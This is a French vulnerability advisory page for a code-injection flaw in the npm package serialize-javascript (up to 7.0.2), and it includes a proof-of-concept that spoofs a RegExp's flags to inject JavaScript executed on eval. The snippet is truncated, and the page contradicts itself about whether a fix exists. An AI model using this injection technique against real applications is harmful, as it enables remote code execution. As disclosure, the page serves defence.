UNKNOWNGHSA-5c6j-r48x-rmvq

Serialize JavaScript est vulnérable à l'exécution de code à distance (RCE) via RegExp.flags et Date.prototype.toISOString()

Plateforme

nodejs

Composant

serialize-javascript

Corrigé dans

7.0.3

### Impact Le paquet npm serialize-javascript (versions <= 7.0.2) contient une vulnérabilité d'injection de code. Il s'agit d'un correctif incomplet pour CVE-2020-7660. Bien que `RegExp.source` soit nettoyé, `RegExp.flags` est interpolé directement dans la sortie générée sans échappement. Un problème similaire existe dans `Date.prototype.toISOString()`. Si un attaquant peut contrôler l'objet d'entrée transmis à `serialize()`, il peut injecter du code JavaScript malveillant via la propriété flags d'un objet RegExp. Lorsque la chaîne sérialisée est évaluée ultérieurement (via `eval`, `new Function` ou les balises `<script>`), le code injecté s'exécute. ```javascript const serialize = require('serialize-javascript'); // Create an object that passes instanceof RegExp with a spoofed .flags const fakeRegex = Object.create(RegExp.prototype); Object.defineProperty(fakeRegex, 'source', { get: () => 'x' }); Object.defineProperty(fakeRegex, 'flags', { get: () => '"+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"' }); fakeRegex.toJSON = function() { return '@placeholder'; }; const output = serialize({ re: fakeRegex }); // Output: {"re":new RegExp("x", ""+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"")} let obj; eval('obj = ' + output); console.log(

Comment corriger

Aucun correctif officiel disponible. Recherchez des alternatives ou surveillez les mises à jour.

Surveillez vos dépendances automatiquement

Recevez des alertes quand de nouvelles vulnérabilités affectent vos projets.

Commencer gratuitement